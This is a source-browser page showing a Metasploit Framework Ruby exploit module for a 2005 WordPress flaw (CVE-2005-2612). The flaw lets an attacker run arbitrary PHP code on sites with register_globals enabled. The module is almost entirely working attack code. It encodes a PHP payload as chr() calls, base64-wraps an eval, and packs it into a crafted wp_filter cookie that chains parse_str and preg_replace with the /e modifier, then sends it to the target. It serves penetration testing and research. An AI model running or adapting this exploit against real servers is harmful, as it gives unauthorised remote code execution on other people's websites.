root/framework3/trunk/modules/exploits/unix/webapp/php_wordpress_lastpost.rb

Revision 4529, 2.6 kB (checked in by hdm, 1 year ago)

Fix #53, use Author, not Authors

  • Property svn:keywords set to Rev Revision Id Header
Line 
1 ##
2 # $Id$
3 ##
4
5 ##
6 # This file is part of the Metasploit Framework and may be subject to
7 # redistribution and commercial restrictions. Please see the Metasploit
8 # Framework web site for more information on licensing and terms of use.
9 # http://metasploit.com/projects/Framework/
10 ##
11
12
13 require 'msf/core'
14
15 module Msf
16
17 class Exploits::Unix::Webapp::Wordpress_LastPost_Execution < Msf::Exploit::Remote
18
19         include Exploit::Remote::Tcp
20         include Exploit::Remote::HttpClient
21
22         def initialize(info = {})
23                 super(update_info(info,
24                         'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
25                         'Description'    => %q{
26                 This module exploits an arbitrary PHP code execution flaw in the WordPress
27                         blogging software. This vulnerability is only present when the PHP 'register_globals'
28                         option is enabled (common for hosting providers). All versions of WordPress prior to
29                         1.5.1.3 are affected.
30                         },
31                         'Author'         => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
32                         'License'        => MSF_LICENSE,
33                         'Version'        => '$Revision$',
34                         'References'     =>
35                                 [
36                                         ['OSVDB', '18672'],
37                                         ['CVE', '2005-2612'],
38                                         ['BID', '14533'],
39                                         ['MIL', '86'],
40                                 ],
41                         'Privileged'     => false,
42                         'Payload'        =>
43                                 {
44                                         'DisableNops' => true,
45                                         'Space'       => 512,
46                                 },
47                         'Platform'       => 'php',
48                         'Arch'           => ARCH_PHP,
49                         'Targets'        => [[ 'Automatic', { }]],
50                         'DisclosureDate' => 'Aug 9 2005',
51                         'DefaultTarget' => 0))
52                        
53                         register_options(
54                                 [
55                                         OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
56                                 ], self.class)
57         end
58
59         def exploit
60                
61                 enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
62                 str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
63                 data =
64                         "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
65                         "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
66                         "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
67                         ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
68                         "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
69                         "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"
70
71                 # Trigger the command execution bug
72                 res = send_request_cgi({
73                         'uri'      => datastore['URI'],
74                         'cookie'   => data
75                 }, 25)         
76                
77                 if (res)
78                         print_status("The server returned: #{res.code} #{res.message}")
79                 else
80                         print_status("No response from the server")
81                 end
82         end
83        
84 end
85 end     
Note: See TracBrowser for help on using the browser.